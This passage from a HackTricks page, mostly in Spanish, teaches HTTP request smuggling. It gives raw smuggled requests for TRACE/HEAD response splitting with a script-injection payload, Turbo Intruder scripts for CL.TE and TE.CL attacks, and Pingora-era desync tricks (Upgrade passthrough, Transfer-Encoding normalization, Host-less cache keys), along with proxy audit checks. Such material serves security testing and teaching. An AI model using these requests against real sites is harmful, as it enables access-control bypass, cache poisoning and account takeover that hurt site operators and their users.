Por lo tanto, la nueva idea sería que, sabiendo este Content-Length y los datos dados en la respuesta TRACE, es posible hacer que la respuesta TRACE contenga una respuesta HTTP válida después del último byte de Content-Length, permitiendo a un atacante controlar completamente la petición a la siguiente respuesta (lo que podría usarse para realizar un cache poisoning).

Example:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

Generará estas respuestas (observa cómo la respuesta HEAD tiene un Content-Length que hace que la respuesta TRACE forme parte del cuerpo de HEAD y, una vez que termina el Content-Length de HEAD, se smuggla una respuesta HTTP válida):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

Weaponizing HTTP Request Smuggling with HTTP Response Desynchronisation

¿Has encontrado alguna vulnerabilidad de HTTP Request Smuggling y no sabes cómo explotarla? Prueba estos otros métodos de explotación:

HTTP Response Smuggling / Desync

Other HTTP Request Smuggling Techniques

  • Browser HTTP Request Smuggling (Client Side)

Browser HTTP Request Smuggling

  • Request Smuggling in HTTP/2 Downgrades

Request Smuggling in HTTP/2 Downgrades

Turbo intruder scripts

CL.TE

From https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

From: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Reverse-proxy parsing footguns (Pingora 2026)

Varios bugs de Pingora de 2026 son útiles porque muestran primitivas de desync más allá de los clásicos CL.TE / TE.CL. La lección reutilizable es: siempre que un proxy deje de parsear demasiado pronto, normalice Transfer-Encoding de forma distinta al backend, o haga fallback a read-until-close para los request bodies, puedes obtener desync FE↔BE incluso sin una ambigüedad tradicional CL/TE.

Passthrough prematuro de Upgrade

Si un reverse proxy cambia a modo raw tunnel / passthrough en cuanto ve un header Upgrade, sin esperar a que el backend confirme el cambio con 101 Switching Protocols, puedes smuggle una segunda request en el mismo TCP stream:

GET / HTTP/1.1
Host: target.com
Upgrade: anything
Content-Length: 0

GET /admin HTTP/1.1
Host: target.com

El front-end analiza solo la primera request y luego reenvía el resto como bytes sin procesar. El backend analiza los bytes añadidos como una nueva request desde la IP confiable del proxy. Esto es especialmente útil para:

  • Bypassar proxy ACLs, reglas de WAF, auth checks y rate limits.
  • Alcanzar endpoints de solo interno que confían en la IP del reverse proxy.
  • Provocar cross-user response queue poisoning en conexiones reutilizadas del backend.

Al auditar proxies, prueba siempre si cualquier valor de Upgrade activa el passthrough, y verifica si el cambio ocurre antes o después de que el backend responda con 101.

Transfer-Encoding normalization bugs + HTTP/1.0 close-delimited fallback

Otro patrón útil es:

  1. El proxy ve que Transfer-Encoding está presente, así que elimina Content-Length.
  2. El proxy falla al normalizar TE correctamente.
  3. El proxy ahora no tiene framing reconocido y hace fallback a close-delimited request bodies para HTTP/1.0.
  4. El backend entiende correctamente TE y trata los bytes después de 0\r\n\r\n como una nueva request.

Formas comunes de provocar esto:

  • Lista TE separada por comas no parseada:
GET / HTTP/1.0
Host: target.com
Connection: keep-alive
Transfer-Encoding: identity, chunked
Content-Length: 29

0

GET /admin HTTP/1.1
X:
  • Duplicate TE headers not merged:
POST /legit HTTP/1.0
Host: target.com
Connection: keep-alive
Transfer-Encoding: identity
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: target.com
X:

Las comprobaciones de auditoría importantes son:

  • ¿El front-end analiza el último token TE, como se requiere cuando chunked es el último?
  • ¿Usa todos los headers Transfer-Encoding en lugar de solo el primero?
  • ¿Puedes forzar HTTP/1.0 para activar un modo de cuerpo read-until-close?
  • ¿Alguna vez el proxy permite close-delimited request bodies? Eso, por sí solo, es una señal de alto valor de desync.

Esta clase a menudo parece CL.TE desde fuera, pero el primitive real es: TE presente –> CL eliminado –> no se reconoce ningún framing válido –> el request body se reenvía hasta close.

La misma auditoría de Pingora también expuso un patrón anti-pattern peligroso de cache en reverse-proxy: derivar la cache key solo de la URI path, mientras se ignoran Host, scheme o port. En despliegues multi-tenant o multi-vhost, distintos hosts pueden entonces colisionar en la misma cache entry:

GET /api/data HTTP/1.1
Host: evil.com
GET /api/data HTTP/1.1
Host: victim.com

Si ambas requests se asignan a la misma cache key (/api/data), un tenant puede envenenar el contenido para otro. Si el origin refleja el header Host en redirects, CORS, HTML o URLs de scripts, una reflexión de Host de bajo valor puede convertirse en cross-user stored cache poisoning.

Al revisar caches, confirma que la key incluya al menos:

  • Host / identidad del virtual host
  • scheme (http vs https) cuando el comportamiento difiere
  • port cuando varias aplicaciones comparten el mismo namespace de cache

Tools

References

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Revisa el catálogo completo de HackTricks Training para las rutas de evaluación (ARTA/GRTA/AzRTA) y Linux Hacking Expert (LHE).

Apoya a HackTricks